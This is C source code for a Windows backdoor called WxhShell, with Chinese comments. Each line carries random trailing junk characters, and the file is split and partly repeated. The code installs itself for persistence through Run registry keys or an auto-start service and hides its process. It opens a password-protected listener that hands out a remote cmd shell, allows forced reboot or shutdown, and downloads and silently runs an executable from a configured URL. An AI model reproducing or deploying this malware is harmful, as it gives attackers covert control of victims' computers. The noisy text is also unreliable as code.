  case 'd': { 1=(jpy  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); c*2 U'A  
    if(Boot(SHUTDOWN)) n% zW6}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OE' ?3S  
    else { u(l[~r>8W;  
    closesocket(wsh); rx2?y3pv  
    ExitThread(0); /aS=vjs  
    } /ivcqVu]  
    break; _R&mN\ey5  
    } `i5U&K. 7  
  // 获取shell .GcIwP'aU-  
  case 's': { i ,Cvnp6Lv  
    CmdShell(wsh); eKjmU| H  
    closesocket(wsh); .j?`U[V%a  
    ExitThread(0); ws8@y r<R  
    break; abiZ"?(  
  } j8n_:;i*  
  // 退出 `)V1GR2 ES  
  case 'x': { -n&g**\w  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); e$]`  
    CloseIt(wsh); K"u-nroHW  
    break; .4on7<-a  
    } <=.0 P/N  
  // 离开 Pyh+HD\  
  case 'q': { m,}0p  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); MU6|>{  
    closesocket(wsh); X`i'U7%I  
    WSACleanup(); )!6JSMS  
    exit(1); <T]%Gg8  
    break; },58B  
        } Zjis0a]v~k  
  } (:9yeP1  
  } k(LZ,WSR  
HJ#3wk"W  
  // 提示信息 ,/0Q($oz  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rR`'l=,t  
} zVN/|[KP4  
  } GL;@heP  
y/=:F=H@w  
  return; :})(@.H  
} Z] ?Tx2|7  
N(i%Oxp1  
// shell模块句柄 q#LB 2M  
int CmdShell(SOCKET sock) >[t0a"  
{ ^u'hl$`^  
STARTUPINFO si; "XPBNv\>_  
ZeroMemory(&si,sizeof(si)); $VEG1]/svp  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; PPoQNW  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; lGrp^  
PROCESS_INFORMATION ProcessInfo; fH#yJd2?f  
char cmdline[]="cmd"; |;xm-AM4r  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); A/5??3H  
  return 0; fM,!9}<  
} e7e6b-"_2  
<Z{pjJ/  
// 自身启动模式 k(hYNmmo j  
int StartFromService(void) HIiMq'H^  
{ #a1zk\R3  
typedef struct LX<arHz  
{ V~#e%&73FH  
  DWORD ExitStatus; 3On IAk3  
  DWORD PebBaseAddress; <Jt H/oN  
  DWORD AffinityMask; Bmx+QO  
  DWORD BasePriority; Mdk(FG(  
  ULONG UniqueProcessId; A8,9^cQ]  
  ULONG InheritedFromUniqueProcessId; N:R6 b5 =}  
}   PROCESS_BASIC_INFORMATION; n(X{|?  
"FuOWI{in  
PROCNTQSIP NtQueryInformationProcess; 2P\k;T(  
hxG=g6:G  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; V|6PKED  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -64@}Ts*?  
/<[S> ;!kr  
  HANDLE             hProcess; &6]+a4  
  PROCESS_BASIC_INFORMATION pbi; 5\\#kjjx  
mjgwU8'![  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7D'-^#S5  
  if(NULL == hInst ) return 0; /#mq*kNIM6  
mCM7FFl I  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); b1+6I_u.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); q/T(s  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ` =ocr8c  
v[$-)vs*ag  
  if (!NtQueryInformationProcess) return 0; Dl C\sm  
Zl,c+/  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }"} z7Xb0  
  if(!hProcess) return 0; So?.V4aD_  
'u9,L FO  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8H2zM IB  
3k YVk  
  CloseHandle(hProcess); [tN^)c`s/  
0*e)_l!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); oJ\)-qSf  
if(hProcess==NULL) return 0; (CUrFZT$  
R$>]7-N}  
HMODULE hMod; !-G'8a|7  
char procName[255]; 9NUft8QB  
unsigned long cbNeeded; u_kcuN\Sq  
'K|Jg.2  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); k8>(-W"A  
}s*H| z  
  CloseHandle(hProcess); VSm[80iR0  
01N]|F:  
if(strstr(procName,"services")) return 1; // 以服务启动 $? 'JePC  
'*4>&V.yX  
  return 0; // 注册表启动  Iw07P2  
} @B.;V=8wJ  
Tbf@qid e  
// 主模块 @.rVg XE=!  
int StartWxhshell(LPSTR lpCmdLine) ^oZz,q  
{ }Iyr u3M][  
  SOCKET wsl; s,5SWdb\v  
BOOL val=TRUE; :eK(9o  
  int port=0; l ~bjNhk  
  struct sockaddr_in door; )7X+T'?%  
|AosZeO_  
  if(wscfg.ws_autoins) Install(); ~Onj| w7  
72i ]`   
port=atoi(lpCmdLine); -|1H-[Y(  
]YQ!i@Y  
if(port<=0) port=wscfg.ws_port; f+ }Rj0A  
;HKb  
  WSADATA data; }kNbqwVP  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]m fI$p%  
)^Ha?;TS  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   iTX:*$~I  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); tQ:g#EqL9B  
  door.sin_family = AF_INET; tVAWc$3T  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;f]p`!] 3  
  door.sin_port = htons(port); h;q= <[h\  
m=s aUhI*9  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { {"^LUw8fd  
closesocket(wsl); q+j.)e  
return 1; g]fdsZv  
} uq/z.m  
m7dpr$J  
  if(listen(wsl,2) == INVALID_SOCKET) { `5HFRgL`.  
closesocket(wsl); +2DzX/3  
return 1; ^Vbx9UN/  
} 73n|G/9n[  
  Wxhshell(wsl); |iGfX,C|  
  WSACleanup(); xgdS]Sz  
1q?b?.  
return 0; PpxLMe]  
sl5y1W/]]  
} -K"" 4SC2  
}Q }&3m~g  
// 以NT服务方式启动 <N4)X"s  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *\-R&8  
{ asT/hsSNS  
DWORD   status = 0; J 8!D."'Q0  
  DWORD   specificError = 0xfffffff; zRO-oOJ  
A-=B#UF  
  serviceStatus.dwServiceType     = SERVICE_WIN32; `.MY" g9  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ]"ZL<?3g  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .o27uB.  
  serviceStatus.dwWin32ExitCode     = 0; '}nH\?(  
  serviceStatus.dwServiceSpecificExitCode = 0; V6c>1nZ  
  serviceStatus.dwCheckPoint       = 0; f *Xum[  
  serviceStatus.dwWaitHint       = 0; FW~{io]n  
JYAtQTOR  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `6R.*hq  
  if (hServiceStatusHandle==0) return; [lU0TDq  
MD"a%H#p  
status = GetLastError(); N WSm  
  if (status!=NO_ERROR) )aV\=a |A  
{ "mbjS(-eg  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; A#b`{C~l  
    serviceStatus.dwCheckPoint       = 0; *btLd7c%  
    serviceStatus.dwWaitHint       = 0; Q|gw\.]$&[  
    serviceStatus.dwWin32ExitCode     = status; $uPM.mPFE  
    serviceStatus.dwServiceSpecificExitCode = specificError; g':/hlQ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); (f-Mm0%[  
    return; d`XC._%^J  
  } CMcS4X9/}  
/Zzb7bHLK  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; IIn sq  
  serviceStatus.dwCheckPoint       = 0; C >@T+xOZ  
  serviceStatus.dwWaitHint       = 0; vU4Gw4  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); slQxz;t  
} cC4 2b2+  
GlVb |O"  
// 处理NT服务事件,比如:启动、停止 /LH# 3  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @Sik~Mm_h  
{ y ~PW_,  
switch(fdwControl) 3d1$w  
{ @4O;dFOQ)  
case SERVICE_CONTROL_STOP: ZaNZUVBh  
  serviceStatus.dwWin32ExitCode = 0; kVqRl%/3Tb  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; f;PPB@ :`$  
  serviceStatus.dwCheckPoint   = 0; ~.:9~(2;  
  serviceStatus.dwWaitHint     = 0; T z`O+fx &  
  { k@[P\(a3b  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J~e%EjN5e  
  } T#o?@ ;  
  return; o+w G6 9  
case SERVICE_CONTROL_PAUSE: '\,|B x8Q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?k 4|;DD  
  break; Iu)76Y@=5=  
case SERVICE_CONTROL_CONTINUE: M%3P@GRg  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; &8!~H<S  
  break; j;BMuLTm1  
case SERVICE_CONTROL_INTERROGATE: 7U3b YU~;  
  break; :rdw0EROy  
};  9Kpzj43  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F0D7+-9[  
} tc|`cB3f  
?<*mIf:?  
// 标准应用程序主函数 RaT_5PH~g  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) hja;d1yH  
{ kPuI'EPK  
~Z{IdE  
// 获取操作系统版本 ( !THd  
OsIsNt=GetOsVer(); O(_a6s+m  
GetModuleFileName(NULL,ExeFile,MAX_PATH); n[E#K`gg'  
f%g^6[  
  // 从命令行安装 =V[ey  
  if(strpbrk(lpCmdLine,"iI")) Install(); "3?N*,U_  
@W|N1,sp  
  // 下载执行文件 !5wuBJ0  
if(wscfg.ws_downexe) { mY'c<>6t  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) aFbIJm=!  
  WinExec(wscfg.ws_filenam,SW_HIDE); 3IlflXb  
} rw|;?a0  
=JR6-A1>  
if(!OsIsNt) { 5PRS|R7  
// 如果时win9x,隐藏进程并且设置为注册表启动 NCXr$ES{  
HideProc(); 2w7PwNb*32  
StartWxhshell(lpCmdLine); #^] v5s  
} 4PcsU HR  
else H[x$65ND  
  if(StartFromService()) p`PBPlUn  
  // 以服务方式启动 6Hh\ys  
  StartServiceCtrlDispatcher(DispatchTable); R.Uwf  
else 2~wIHtd  
  // 普通方式启动 3j h: K   
  StartWxhshell(lpCmdLine); ; 1^ ([>|  
+HpPVuV  
return 0; S>6f0\F/Y%  
} rsGQ :c  
^^;#Si  
9_4bw9 A  
nYvx[ zq?^  
=========================================== 8M~^/Zc  
}~akVh`3  
ov9+6'zya  
VJf|r#2  
Uc[ @]  
HtN!Hgpwg  
" .^F(&c*['  
?R MOy$L  
#include <stdio.h> HT% =o}y  
#include <string.h> nF)XZB 0F  
#include <windows.h> *}@zxFe +  
#include <winsock2.h> 01_*^iCf5  
#include <winsvc.h> CD"D^\z  
#include <urlmon.h> 89kxRH\IhG  
j{`C|zg  
#pragma comment (lib, "Ws2_32.lib") &hSABtr}  
#pragma comment (lib, "urlmon.lib") )*CDufRFz  
[dXpz^Co  
#define MAX_USER   100 // 最大客户端连接数 ^tr?y??k  
#define BUF_SOCK   200 // sock buffer zT< P_l  
#define KEY_BUFF   255 // 输入 buffer ~Q3y3,x  
V9 J`LQ\0  
#define REBOOT     0   // 重启 d$?sS9"8(  
#define SHUTDOWN   1   // 关机 oR1HJ2>Z1  
A#@9|3  
#define DEF_PORT   5000 // 监听端口 q\r@x-&g+  
)<+t#5"  
#define REG_LEN     16   // 注册表键长度 d OYEl<!J  
#define SVC_LEN     80   // NT服务名长度 )[]*Y]vSx  
*pP&$!bH%  
// 从dll定义API 3%0ShMFP@  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {~y,.[Ga  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); M#CYDEB  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); P2t{il   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |l#<vw wE  
\$B%TY  
// wxhshell配置信息 yd>b2 M  
struct WSCFG { ih[!v"bv  
  int ws_port;         // 监听端口 $.0l% $7  
  char ws_passstr[REG_LEN]; // 口令 Pqtk1=U  
  int ws_autoins;       // 安装标记, 1=yes 0=no [vV5@nP:  
  char ws_regname[REG_LEN]; // 注册表键名 )zK6>-KWA  
  char ws_svcname[REG_LEN]; // 服务名 CBrC   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 N,?4,+Hc-  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Pf/_lBtL  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `({ Bi!%i  
int ws_downexe;       // 下载执行标记, 1=yes 0=no pOKs VS%fT  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <,:5d2mM.  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 NE1n9  
t~0!K;nn  
}; WW&ag r  
k7cM.<s!  
// default Wxhshell configuration QO;OeMQv%  
struct WSCFG wscfg={DEF_PORT, #<k L.e[  
    "xuhuanlingzhe", G< _<j}=  
    1, Q&k1' nT5  
    "Wxhshell", \v]esIP5R'  
    "Wxhshell", =uil3:,[S  
            "WxhShell Service", &9ZrZ"]  
    "Wrsky Windows CmdShell Service", y~'h/tjM@=  
    "Please Input Your Password: ", U{[ g"_+~  
  1, ^OZ*Le  
  "http://www.wrsky.com/wxhshell.exe", E8LZ% N#  
  "Wxhshell.exe" >bUxb-8  
    }; l =X6m(  
z,+LPr  
// 消息定义模块 F39H@%R  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 921m'WE  
char *msg_ws_prompt="\n\r? for help\n\r#>"; M}Obvl  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; )&F]j  
char *msg_ws_ext="\n\rExit."; HVLj(_ A  
char *msg_ws_end="\n\rQuit."; W3M1> (  
char *msg_ws_boot="\n\rReboot..."; 5B)z}g^h  
char *msg_ws_poff="\n\rShutdown..."; 3X>x`  
char *msg_ws_down="\n\rSave to "; O>tz;RU  
,"xr^@W  
char *msg_ws_err="\n\rErr!"; V\6V&_  
char *msg_ws_ok="\n\rOK!"; ,l )7]p*X  
CEXD0+\q  
char ExeFile[MAX_PATH]; ar[I| Q_  
int nUser = 0; =g3o@WD/G  
HANDLE handles[MAX_USER]; Z.$)#vM5  
int OsIsNt; kwAL] kI  
ON-zhT?v  
SERVICE_STATUS       serviceStatus; 41XS/# M$*  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; :oeDksld  
~C31=\$  
// 函数声明 |1/UC"f  
int Install(void); ;%`oS.69  
int Uninstall(void); ;_dOYG1  
int DownloadFile(char *sURL, SOCKET wsh); TO5#iiM)  
int Boot(int flag); (`cXS5R  
void HideProc(void); !V O^oD7  
int GetOsVer(void); !+H)N  
int Wxhshell(SOCKET wsl); s.IYPH|pn  
void TalkWithClient(void *cs); G4jyi&]  
int CmdShell(SOCKET sock); ( C~ u.  
int StartFromService(void); kes GwMr"e  
int StartWxhshell(LPSTR lpCmdLine); {4^NZTjd@  
, #nYHD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); F~Sw-b kSf  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); # KgDOCQH  
3IyNnm=u  
// 数据结构和表定义 0Bn35.K  
SERVICE_TABLE_ENTRY DispatchTable[] = 'jA>P\@8  
{ k"$E|$  
{wscfg.ws_svcname, NTServiceMain}, W&Xm_T[ Q  
{NULL, NULL} GC3WB4iY@U  
}; <nk7vo?Ks  
W20H4!G  
// 自我安装 jxdX7aik  
int Install(void) {Lg]chJq?  
{ A9 ;!\Wo  
  char svExeFile[MAX_PATH]; r>,s-T!7  
  HKEY key; f=T-4Of  
  strcpy(svExeFile,ExeFile); I(Gl8F\c~  
Y9r##r+  
// 如果是win9x系统,修改注册表设为自启动 H[o >"@4  
if(!OsIsNt) { h6;vOd~%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l#|wF$J  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u.rFZu?E\  
  RegCloseKey(key);  0U&@;/?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { iyJx~:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); X4dxH_@  
  RegCloseKey(key); ^hRx{A  
  return 0; ojG;[@V  
    } k}hTSL  
  } G<W;HMj2  
} m'PU0x  
else { ]y\Wc0 q  
_L% =Q ulu  
// 如果是NT以上系统,安装为系统服务 pZ)N,O3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); FByA4VxB  
if (schSCManager!=0) (TTS-(  
{ iPCDxDLN3V  
  SC_HANDLE schService = CreateService K:L_y 1!T  
  ( a\ZNNk  
  schSCManager, c1sVdM}|  
  wscfg.ws_svcname, G/N1[)  
  wscfg.ws_svcdisp, Msst:}QY  
  SERVICE_ALL_ACCESS, ]S+KH \2  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Y_= ]w1  
  SERVICE_AUTO_START, 5#U=x ,7e  
  SERVICE_ERROR_NORMAL, k{C03=xk  
  svExeFile, zFm:=,9  
  NULL, " 7g\X$  
  NULL, 1)t*l;.  
  NULL, B*OBXN>'P  
  NULL, wO&+Bb\=  
  NULL "L&84^lmf  
  ); )s|o&aP>  
  if (schService!=0) 21sXCmYR,t  
  { ddzMwucjp  
  CloseServiceHandle(schService); a98J_^n  
  CloseServiceHandle(schSCManager); FSD~Q&9&  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); F10TvJ U  
  strcat(svExeFile,wscfg.ws_svcname); [9d4 0>e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `Rx\wfr}  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _V,bvHWlM  
  RegCloseKey(key); \\P*w$c   
  return 0; cq"#[y$r  
    } C$4!|Wg3  
  } BFswqp:  
  CloseServiceHandle(schSCManager); a\B'Qe+  
} 8 -YC#&  
} !rTkH4!_  
ZtGtJV"H  
return 1; Vb,'VN%   
} x(7Q5Uk\  
XsGc!  o  
// 自我卸载 C;I:?4  
int Uninstall(void) ^t Y _ q  
{ 3YD.Fjz$  
  HKEY key; xQDWnpFc  
#<DS-^W!  
if(!OsIsNt) { W|(U} PrC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -T2w?|  
  RegDeleteValue(key,wscfg.ws_regname); O"~CZh,:r}  
  RegCloseKey(key); KnC:hus  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F$@(0c  
  RegDeleteValue(key,wscfg.ws_regname); _c>8y  
  RegCloseKey(key); 6PT"9vR`)  
  return 0; I~Q G  
  } 0y`r.)G  
} 9@>Q7AUCQ  
} nLY(%):(P  
else { & ^;3S*p  
o[%\W  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); . "Q}2  
if (schSCManager!=0) :B~m^5  
{ lf\x`3Vd  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); LnPG+<  
  if (schService!=0) rGlnu.mK^  
  { r2m&z%N &  
  if(DeleteService(schService)!=0) { a5?Yh<cJ  
  CloseServiceHandle(schService); nL+y"O  
  CloseServiceHandle(schSCManager); H;MyT Vl  
  return 0; (bAw>  
  } d' l|oeS  
  CloseServiceHandle(schService); HcM/  
  } LZDJ\"a-  
  CloseServiceHandle(schSCManager); >%LY0(hY3  
} rgF4 W8  
} )]C(NTfxg  
oQ}K_}{>  
return 1; 9qvl9,*g  
} 8cGoo u6  
Ey)ey-'\  
// 从指定url下载文件 D2I|Z  
int DownloadFile(char *sURL, SOCKET wsh) (0["|h32,  
{ 7Y5.GW\^  
  HRESULT hr; N(%(B  
char seps[]= "/"; Jwpc8MQ  
char *token; %+oqAY m+s  
char *file; fR]KXfZ  
char myURL[MAX_PATH]; KNjU!Z/4  
char myFILE[MAX_PATH]; A<+1:@0  
m(`O>zS  
strcpy(myURL,sURL); =w/AJ%6  
  token=strtok(myURL,seps); 3_"tds <L  
  while(token!=NULL) iKu4s  
  { #, h0K  
    file=token; W3jwc{lj  
  token=strtok(NULL,seps); C{~O!^2G  
  } 7^<6|>j4  
3mhjwgP<nn  
GetCurrentDirectory(MAX_PATH,myFILE); i,wZNX  
strcat(myFILE, "\\"); G5ShheZd  
strcat(myFILE, file); }#S1!TU  
  send(wsh,myFILE,strlen(myFILE),0); "s}Oeu[  
send(wsh,"...",3,0); gYBMi)`RT  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); g(i8HU*{q  
  if(hr==S_OK) $LVzhQlD  
return 0; w?P ex]i{  
else  uU=!e&3  
return 1; mbns%%GJU  
Tj+U:#!!~  
} S]NT+XM  
CSY-{  
// 系统电源模块 R6TT1Ka3c  
int Boot(int flag) L tUvFe  
{ W#2} EX  
  HANDLE hToken; "R"{xOQl  
  TOKEN_PRIVILEGES tkp; aYM~Ub:x{  
)iid9K<HB  
  if(OsIsNt) { 7CH.BY  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3taGb>15  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^6J*:(eM  
    tkp.PrivilegeCount = 1; *4%%^*g.I  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; A0OA7m:~4  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); F` &W5[  
if(flag==REBOOT) { GK;IY=8W  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }R/we`  
  return 0; p`EgMzVO,  
} 2#ZqGf.'v  
else { Bo\~PV[  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 8tVSai8[  
  return 0; }rUAYr~VZ  
} iH~A7e62OZ  
  } 7$x%A&]  
  else { 1OV] W f  
if(flag==REBOOT) { sOb]o[=  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *Q#oV}D_  
  return 0; q]Kv.x]$R  
} a_-@rceU  
else { )+ 'r-AF*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5~ZzQG  
  return 0; o2cc3`*8d  
} 7!wc'~;  
} P- +]4\  
R x(yn  
return 1; ;G[0%z+*  
} qoZ)"M  
,.h@tN<C  
// win9x进程隐藏模块 EwmNgmYq  
void HideProc(void) I9m9`4BK  
{ /8!n7a7  
/;{L~f=et)  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); jT!?lqr(Rb  
  if ( hKernel != NULL ) %hlgLM  
  { 9dm<(I}  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,SNt*t1"  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); q`?M+c*F  
    FreeLibrary(hKernel); e=aU9v L  
  } |KVVPXtq%C  
aqWlX0+  
return; Djdd|Z+*{  
} v??$z#1F3  
Q*M(d\Vs  
// 获取操作系统版本 f:y1eLl3  
int GetOsVer(void) M2c7 |  
{ zR <fz  
  OSVERSIONINFO winfo; 9gglyoZ%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); O;i0xWUh  
  GetVersionEx(&winfo); <EcxNj1  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) TD%L`Gk  
  return 1; B?yj U[/R  
  else <1B+@  
  return 0; [^7P ]olW  
} 0S9~db  
fFYoZ/\  
// 客户端句柄模块 7 \[fjCg\w  
int Wxhshell(SOCKET wsl) 3o0ZS^#eB  
{ xRdx` YYu  
  SOCKET wsh; {jH'W)nR  
  struct sockaddr_in client; 2i;ox*SfpU  
  DWORD myID; cD=IFOB*GD  
N UJ $)qNA  
  while(nUser<MAX_USER) z@w}+fYO  
{ JZ~wacDd  
  int nSize=sizeof(client); %n GjP^  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :Ocw+X3  
  if(wsh==INVALID_SOCKET) return 1; [~X&J#  
.gzfaxi  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 0w0{@\9  
if(handles[nUser]==0) $zU%?[J  
  closesocket(wsh); e$2P/6k>  
else O1)\!=& .  
  nUser++; co1aG,>"q  
  } rZcSG(d`53  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); tbiM>qxB  
17,mqXX>  
  return 0; +GL$[ 5G  
} aWH  
6/?onEL9_  
// 关闭 socket eB=&(ZT  
void CloseIt(SOCKET wsh) u`.)O2)xU  
{ uv<_.Jq]  
closesocket(wsh); zx,9x*g  
nUser--; So8 Dwz?  
ExitThread(0); psc Fb$b  
} PHEQG]H S  
kU=U u>  
// 客户端请求句柄 ^Il*`&+?P  
void TalkWithClient(void *cs) rf%VSxD9  
{ p\F%Nj,  
-ucgET`  
  SOCKET wsh=(SOCKET)cs; >T c\~l  
  char pwd[SVC_LEN]; s;=C&N5g  
  char cmd[KEY_BUFF]; zH6@v +gb  
char chr[1]; ;,e16^\' &  
int i,j; B /w&Lo  
XZM@Rys  
  while (nUser < MAX_USER) { -`eB4j'7  
kd\Hj~*  
if(wscfg.ws_passstr) { g>;@(:e^/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;^0rY)&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |FM*1Q[1  
  //ZeroMemory(pwd,KEY_BUFF); <Z<meB[g  
      i=0; a'/i/@h  
  while(i<SVC_LEN) { u%+k\/Scp.  
hjM?D`5x  
  // 设置超时 +xU({/  
  fd_set FdRead; l"1D' Hk  
  struct timeval TimeOut; Ox&G  [  
  FD_ZERO(&FdRead); FMI1[|:;  
  FD_SET(wsh,&FdRead); lw[c+F7  
  TimeOut.tv_sec=8; FKu8R%9xn%  
  TimeOut.tv_usec=0; ed}#S~4q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Y&8,f|{R  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); GGr82)E  
2 \}J*0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %lWOW2~R  
  pwd=chr[0]; qP<D9k>  
  if(chr[0]==0xd || chr[0]==0xa) { SY[3O  
  pwd=0; LX oJw$C  
  break; x.wDA3ys  
  } `>`b;A4  
  i++; : ?BK A0E  
    } 6 h,!;`8O  
3NDddrL9  
  // 如果是非法用户,关闭 socket ^ r(My}  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); D9A%8o  
} jVQ89vf ~  
RR ^7/-  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); r{9fm,  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X!^|Tass  
L 1!V'Hm{  
while(1) { J-,ocO  
)X[2~E  
  ZeroMemory(cmd,KEY_BUFF); / + %  
nHk^trGm  
      // 自动支持客户端 telnet标准   :op_J!;  
  j=0; |g)>6+?]W  
  while(j<KEY_BUFF) { F]?] |nZZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q=xXj'W-  
  cmd[j]=chr[0]; kDWEgnXK,v  
  if(chr[0]==0xa || chr[0]==0xd) { ,&WwADZ-s  
  cmd[j]=0; =urGs`\  
  break; |?2fq&2  
  } -[ gT}{k!  
  j++; Pap6JR{7  
    } 2a48(~<_  
U|%}B(  
  // 下载文件 +jwHYfAK)  
  if(strstr(cmd,"http://")) { `w\P- q  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); E KV[cq  
  if(DownloadFile(cmd,wsh)) ">z3i`#C'  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~vt9?(h  
